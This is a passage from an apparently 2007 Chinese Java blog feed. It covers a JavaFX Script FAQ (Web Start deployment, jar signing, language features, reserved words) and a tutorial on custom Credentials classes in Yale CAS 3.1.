详细示例请见：<a href="http://download.java.net/general/openjfx/demos/javafxpad.jnlp" target="_new">http://download.java.net/general/openjfx/demos/javafxpad.jnlp</a>) 。<br />
<pre class="overflow">&lt;?xml version="1.0" encoding="utf-8"?&gt;<br />
&lt;jnlp <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spec="1.5+" <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;codebase="http://download.java.net/general/openjfx/demos"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="javafxpad.jnlp"&gt;<br />
&nbsp;&nbsp;&lt;information&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;JavaFX Demos:JavaFX Pad&lt;/title&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;vendor&gt;Sun Microsystems&lt;/vendor&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;offline-allowed /&gt;<br />
&nbsp;&nbsp;&lt;/information&gt;<br />
&nbsp;&nbsp;&lt;security&gt; <br />
&nbsp;&nbsp;&lt;all-permissions/&gt;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&lt;/security&gt; <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&lt;resources&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;j2se version="1.5+" href="http://java.sun.com/products/autodl/j2se"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;java-vm-args="-Xss1M -Xmx256M"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/j2se&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;jar href="javafxrt.jar" main="true"/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;jar href="Filters.jar"/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;jar href="swing-layout.jar"/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;jar href="javafxpad.jar"/&gt;<br />
&nbsp;&nbsp;&lt;/resources&gt;<br />
&nbsp;&nbsp;&lt;application-desc main-class="net.java.javafx.FXShell"&gt;<br />
&nbsp;&nbsp;&lt;argument&gt;javafxpad.Main&lt;/argument&gt;<br />
&nbsp;&nbsp;&lt;/application-desc&gt;<br />
&lt;/jnlp&gt;</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">&#8220;Hello Web Start FX&#8221;示例 </span></span></strong><br />
<br />
环境需求<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8226; Java 5 JDK <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8226; 从openjfx项目下载后获得的JavaFX代码包中提取出来的/lib/javafxrt.jar and lib/swing-layout.jar<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">&#8220;Hello Web Start JFX&#8221;程序代码</span></span></strong><br />
<br />
文件名: HelloWebStart.fx <br />
<pre class="overflow">import javafx.ui.*;<br />
<br />
Frame {<br />
&nbsp;&nbsp;&nbsp;&nbsp;title&nbsp;&nbsp;: 'Hello Web Start JFX!'<br />
&nbsp;&nbsp;&nbsp;&nbsp;width&nbsp;&nbsp;: 600<br />
&nbsp;&nbsp;&nbsp;&nbsp;height : 400<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;content: Label {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text: 'Hello Web Start JFX!'<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font: Font{size: 32}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;visible: true<br />
}<br />
</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">创建 HelloWebStartJFX.jar </span></span></strong><br />
<br />
<pre class="overflow">jar cvf HelloWebStartJFX.jar HelloWebStart.fx</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">创建 HelloWebStartJFX.jnlp </span></span></strong><br />
<br />
文件名: HelloWebStartJFX.jnlp <br />
<pre class="overflow">&lt;?xml version="1.0" encoding="utf-8"?&gt;<br />
&lt;jnlp spec="1.5+"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;codebase="http://www.example.com/HelloWebStartJFX/"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="HelloWebStartJFX.jnlp"&gt;<br />
&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;information&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;Hello Web Start JFX&lt;/title&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;vendor&gt;John Doe&lt;/vendor&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;homepage href="http://www.example.com/HelloWebStartJFX/"/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;description&gt;Web Start example for JavaFX Scripts&lt;/description&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;offline-allowed/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/information&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;security&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;all-permissions/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/security&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;resources&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;j2se version="1.5+" href="http://java.sun.com/products/autodl/j2se"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/j2se&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;jar href="javafxrt.jar" main="true"/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;jar href="swing-layout.jar"/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;jar href="HelloWebStartJFX.jar"/&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/resources&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;application-desc main-class="net.java.javafx.FXShell"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;argument&gt;HelloWebStart&lt;/argument&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/application-desc&gt;<br />
&lt;/jnlp&gt;<br />
</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">创建签名密钥 </span></span></strong><br />
<br />
<pre class="overflow">keytool -genkey -alias jfx -dname "CN=John Doe, O=JFX Inc." -validity 9999 -keystore jfx.keystore -keypass keyPassword -storepass storePassword</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">对jar文件进行签名</span></span></strong><br />
<br />
<pre class="overflow">jarsigner -keystore jfx.keystore -verbose -keypass keyPassword -storepass storePassword HelloWebStartJFX.jar jfx<br />
jarsigner -keystore jfx.keystore -verbose -keypass keyPassword -storepass storePassword javafxrt.jar jfx<br />
jarsigner -keystore jfx.keystore -verbose -keypass keyPassword -storepass storePassword swing-layout.jar jfx<br />
</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">连接到HelloWebStartJFX.jnlp </span></span></strong><br />
<br />
文件名: index.html <br />
<pre class="overflow">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"<br />
&nbsp;&nbsp;&nbsp;&nbsp; "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;<br />
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;<br />
&nbsp;&nbsp;&lt;head&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;Hello Web Start JFX!&lt;/title&gt;<br />
&nbsp;&nbsp;&lt;/head&gt;<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&lt;body&gt;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;h1&gt;Hello Web Start JFX!&lt;/h1&gt;<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt;&lt;a href="HelloWebStartJFX.jnlp"&gt;Java Web Start: Hello Web Start JFX!&lt;/a&gt;&lt;/p&gt;<br />
&nbsp;&nbsp;&lt;/body&gt;<br />
&lt;/html&gt;<br />
</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">Web服务器: 设置用于.jnlp 的MIME类型 </span></span></strong><br />
<br />
Apache服务器:在http.conf 或者 .htaccess文件中添加类型：<br />
<pre class="overflow">application/x-java-jnlp-file JNLP</pre>
<br />
<br />
将文件复制到Web服务器 <br />
<pre class="overflow">mkdir /www/www.example.com/docs/HelloWebStartJFX/<br />
cp index.html HelloWebStartJFX.jnlp HelloWebStartJFX.jar javafxrt.jar swing-layout.jar /www/www.example.com/docs/HelloWebStartJFX/<br />
</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">启动Web Start </span></span></strong><br />
<br />
通过www.example.com/HelloWebStartJFX/启动web Start。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">如何使用&#8220;全限定名&#8221;引用Java类? </span></span></strong><br />
<br />
全限定Java类名必须使用法语引号&lt;&lt; &gt;&gt;进行修饰。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">如何访问内部类和接口? </span></span></strong><br />
<br />
在访问内部类和接口时，你只能使用内部类的编译名。<br />
例如： <br />
在Java中的import java.util.Map.Entry，在JavaFX中将表示为import java.util.Map$Entry。<br />
<br />
在JavaFX中还需要注意的是在引用内部类时，你需要继续使用Outer$Inner 这种形式的语法。为了方便使用，你也可以相应地将导入语句修改为：<br />
<pre class="overflow">import java.util.Map$Entry as Entry</pre>
<br />
这样就不必重复地使用Outer$Inner形式了。<br />
我能够使用Java 5的枚举（enumerations）吗? <br />
当然可以。你可以采用下面的方式引用它们：<br />
<pre class="overflow">&nbsp;&nbsp; import java.util.management.MemoryType; // 导入枚举<br />
&nbsp;&nbsp; <br />
&nbsp;&nbsp; var value = HEAP:MemoryType; // 使用枚举值 <br />
&nbsp;&nbsp; // HEAP是MemoryType中的枚举值<br />
&nbsp;&nbsp; <br />
&nbsp;&nbsp; var allValues = MemoryType.values(); // 创建包含所有枚举值的JavaFX数组<br />
</pre>
<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">如何在JavaFX中轻松定制Swing组件?</span></span></strong><br />
<br />
这里提供了一些对Swing组件进行快速封装的代码，它能用于JavaFX组件层中：<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">SwingWidget类定义：</span></span></strong><br />
<br />
文件名：SwingWidget.fx<br />
<pre class="overflow">package a.b.c;<br />
<br />
import javafx.ui.*;<br />
import javax.swing.JComponent;<br />
<br />
class SwingWidget extends Widget {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; attribute swingComponent: JComponent;<br />
}<br />
<br />
operation SwingWidget.createComponent():&lt;&lt;javax.swing.JComponent&gt;&gt; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;return swingComponent;<br />
}<br />
</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">用法：</span></span></strong><br />
<br />
下面提供了一个使用SwingWidget的简单示例。请注意在树形列表中提供的数据来自于默认的树形模型，而不是JavaFX所特有的。<br />
文件名：WidgetTest.fx<br />
<pre class="overflow">package a.b.c;<br />
<br />
import javafx.ui.*;<br />
import javafx.ui.canvas.*;<br />
import java.lang.System;<br />
import javax.swing.JTree;<br />
import a.b.c.SwingWidget;<br />
<br />
Frame {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; onClose: operation() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.exit(0);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; content: SwingWidget {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; swingComponent: new JTree()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; visible: true<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; title: "WTF, the Widget Test Framework"<br />
}<br />
</pre>
<br />
运行界面：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img style="display: inline" onclick="javascript:imgClick(this);" alt="image" src="http://images.wikia.com/jfx/images/c/c5/SwingWidgetExample.png" onload="javascript:imgLoad(this);" border="0" resized="0" /><br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">为什么我的某些.fx文件不能被JavaFX Pad重新装载?</span></span></strong><br />
<br />
非常抱歉地告诉你，JavaFXPad目前的功能非常有限。他并不能检测到外部文件的改变。为了让它能够&#8220;看到&#8221;你的修改，你需要以手工的方式在JavaFXPad中重新打开修改后的文件。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">如何引用其它JavaFX文件?</span></span></strong><br />
<br />
JavaFX能够从以下三种资源中引用静态值、变量和类：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.在同一文件内<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.在相同的目录/包路径下的文件<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.在其它的包路径下的文件<br />
<br />
首先，第一种方式非常简单。如果你正在引用处于相同文件中的类，那么你只需要使用类名即可（类可以被定义在引用之前或者之后）。而变量则要在它们被声明之后才能被引用。<br />
<br />
对于第二种方式，显而易见，你无须对处于相同包路径下的每个.fx文件都使用import语句，而只要提供具有它们所在的同一包路径的import语句即可。<br />
<br />
如果你有其它的内部类或者你需要从不同的包路径下引入类，那么就需要使用import语句完成一点额外工作：使用import语句将.fx文件导入，而不是在此文件中的某个特定的类。例如，如果MediaTable.fx包含两个类：MediaTableColumn和MediaTableRow，那么你只需要importing MediaTable这一条语句就可以导入这两个类。<br />
<br />
你也可以像使用Java一样使用 import *语句。但由于这种方式降低了代码的可读性，所以并不推荐给大家。<br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">JavaFX脚本提供类似 __LINE__这样的魔术常量（magic constants）吗? </span></span></strong><br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">魔术常量</span></span></strong><br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8226; __DIR__ -- 返回包含当前FX源文件的目录的URL。如果当前文件是从jar文件装载的，那么返回值可能是jar文件的URL。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8226; __FILE__ -- 返回当前源文件的URL。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8226; __LINE__ -- 返回当前源文件中的当前行。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8226; __ARCHIVE__ -- 返回包含当前文件的jar文件的URL。<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">示例</span></span></strong><br />
<br />
<pre class="overflow">import javafx.ui.*;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
Frame {<br />
&nbsp;&nbsp;&nbsp;&nbsp;title&nbsp;&nbsp;: 'Magic Constants'<br />
&nbsp;&nbsp;&nbsp;&nbsp;width&nbsp;&nbsp;: 700<br />
&nbsp;&nbsp;&nbsp;&nbsp;height : 400<br />
&nbsp;&nbsp;&nbsp;&nbsp;content: Label {text: "&lt;html&gt;&lt;dl&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;dt&gt;__DOCBASE__&lt;/dt&gt;&lt;dd&gt;{__DOCBASE__}&lt;/dd&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;dt&gt;__DIR__&lt;/dt&gt;&nbsp;&nbsp;&nbsp;&nbsp;&lt;dd&gt;{__DIR__}&lt;/dd&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;dt&gt;__FILE__&lt;/dt&gt;&nbsp;&nbsp; &lt;dd&gt;{__FILE__}&lt;/dd&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;dt&gt;__LINE__&lt;/dt&gt;&nbsp;&nbsp; &lt;dd&gt;{__LINE__}&lt;/dd&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;dt&gt;__ARCHIVE__&lt;/dt&gt;&lt;dd&gt;{__ARCHIVE__}&lt;/dd&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/dl&gt;&lt;/html&gt;"}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;visible: true<br />
}// Frame<br />
</pre>
<br />
<br />
<strong><span style="font-size: 10px"><span style="color: green">更多信息</span></span></strong><br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8226; <a href="https://openjfx.dev.java.net/servlets/ReadMsg?list=users&amp;msgNo=649" target="_new">Christopher Oliver编写的"Magic Constants" </a><br />
<br />
<strong><span style="font-size: 12px"><span style="color: green">JavaFX中的保留字有哪些？</span></span></strong><br />
<br />
after<br />
and<br />
as<br />
assert<br />
attribute<br />
before<br />
bind<br />
break<br />
by<br />
catch<br />
class<br />
continue<br />
delete<br />
distinct<br />
do<br />
dur<br />
easeboth<br />
easein<br />
easeout<br />
else<br />
endif<br />
extends<br />
false<br />
finally<br />
first<br />
for<br />
foreach<br />
format<br />
fps<br />
from<br />
function<br />
if<br />
import<br />
in<br />
index<br />
indexof<br />
insert<br />
instanceof<br />
into<br />
inverse<br />
last<br />
later<br />
lazy<br />
linear<br />
motion<br />
nodebug<br />
new<br />
not<br />
null<br />
on<br />
operation<br />
or<br />
order<br />
package<br />
private<br />
protected<br />
public<br />
readonly<br />
return<br />
reverse<br />
select<br />
sizeof<br />
super<br />
then<br />
this<br />
throw (请注意不是throws)<br />
trigger<br />
true<br />
try<br />
typeof<br />
unitinterval<br />
valueof<br />
var<br />
where<br />
while<br />
xor
<img src ="http://www.blogjava.net/junky/aggbug/149502.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-09-29 10:57 <a href="http://www.blogjava.net/junky/archive/2007/09/29/149502.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Internet连接共享故障(转)</title><link>http://www.blogjava.net/junky/archive/2007/09/04/142606.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Tue, 04 Sep 2007 05:42:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/09/04/142606.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/142606.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/09/04/142606.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/142606.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/142606.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Internet连接共享故障1. ADSL接入方式1.ADSL 有时不能联网为什么 A D SL 有时不能正常上网？答：AD SL 是一种基于双绞线传输的技术，双绞线是将两条绝缘的铜线以一定的规律互相缠在一起，这样可以有效抵御外界的电磁场干扰。多数电话线是平行线，从电话公司接线盒到用户电话这段线大多用的是平行线，这对 ADSL 传输非常不利，过长的非双绞线传输会造成连接不稳定、AD S...&nbsp;&nbsp;<a href='http://www.blogjava.net/junky/archive/2007/09/04/142606.html'>阅读全文</a><img src ="http://www.blogjava.net/junky/aggbug/142606.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-09-04 13:42 <a href="http://www.blogjava.net/junky/archive/2007/09/04/142606.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一步一步开发Spring Framework MVC应用程序(转)</title><link>http://www.blogjava.net/junky/archive/2007/08/22/138543.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Wed, 22 Aug 2007 02:50:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/08/22/138543.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/138543.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/08/22/138543.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/138543.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/138543.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 这是一个关于如何使用Spring Framework从无到有开发一个Web应用的逐步的指南。本文分成几个部分。你可以按顺序阅读或者根据你对他们的熟悉程度，跳过某些章节。                                                　目录                                                第1部分 - 设置...&nbsp;&nbsp;<a href='http://www.blogjava.net/junky/archive/2007/08/22/138543.html'>阅读全文</a><img src ="http://www.blogjava.net/junky/aggbug/138543.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-08-22 10:50 <a href="http://www.blogjava.net/junky/archive/2007/08/22/138543.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CAS中使用自己的Credentials（转）</title><link>http://www.blogjava.net/junky/archive/2007/08/20/138136.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Mon, 20 Aug 2007 05:58:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/08/20/138136.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/138136.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/08/20/138136.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/138136.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/138136.html</trackback:ping><description><![CDATA[<p>Yale CAS 3.1<br>下载: <a href="http://www.ja-sig.org/products/cas/index.html"><u><font color=#800080>http://www.ja-sig.org/products/cas/index.html</font></u></a> </p>
<p><strong><font size=3>1. 修改authenticationViaFormAction以使用自己的Credentials</font></strong></p>
<p>默认的org.jasig.cas.authentication.principal.UsernamePasswordCredentials只记录用户名和密码，在扩展一些属性如验证码时使用用自己的Credentials类替换</p>
<p><strong>cas-servlet.xml:</strong><br>&lt;bean id="authenticationViaFormAction" class="org.jasig.cas.web.flow.AuthenticationViaFormAction"<br>&nbsp;&nbsp; p:centralAuthenticationService-ref="centralAuthenticationService"<br>&nbsp;&nbsp; p:warnCookieGenerator-ref="warnCookieGenerator"<br>&nbsp;&nbsp; p:formObjectName="credentials"<br>&nbsp;&nbsp; p:formObjectClass="com.nlcd.cas.authentication.principal.EcardCredentials"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="validator"&gt;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;bean class="com.nlcd.cas.validation.EcardCredentialsValidator"/&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;<br>&lt;/bean&gt;</p>
<p><strong>EcardCredentialsValidator:</strong><br>import org.springframework.validation.Errors;<br>import org.springframework.validation.ValidationUtils;<br>import org.springframework.validation.Validator;<br>import com.nlcd.cas.authentication.principal.EcardCredentials;</p>
<p>public final class EcardCredentialsValidator implements Validator {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; public boolean supports(final Class clazz) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return EcardCredentials.class.isAssignableFrom(clazz);<br>&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; public void validate(final Object o, final Errors errors) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ValidationUtils.rejectIfEmptyOrWhitespace(errors, "username",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "required.username", null);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ValidationUtils.rejectIfEmptyOrWhitespace(errors, "password",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "required.password", null);<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>}</p>
<p><strong>EcardCredentials: (加入一个idtype属性)</strong><br>import org.jasig.cas.authentication.principal.Credentials;</p>
<p>public class EcardCredentials implements Credentials {</p>
<p>/** Unique ID for serialization. */<br>private static final long serialVersionUID = -7863273946921255486L;<br><br>private String idtype;</p>
<p>/** The username. */<br>&nbsp;&nbsp;&nbsp;&nbsp; private String username;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; /** The password. */<br>&nbsp;&nbsp;&nbsp;&nbsp; private String password;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; public String getIdtype() {<br>&nbsp;&nbsp; return idtype;<br>}</p>
<p>public void setIdtype(String idtype) {<br>&nbsp;&nbsp; this.idtype = idtype;<br>}</p>
<p>/**<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @return Returns the password.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;&nbsp; public final String getPassword() {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.password;<br>&nbsp;&nbsp;&nbsp;&nbsp; }</p>
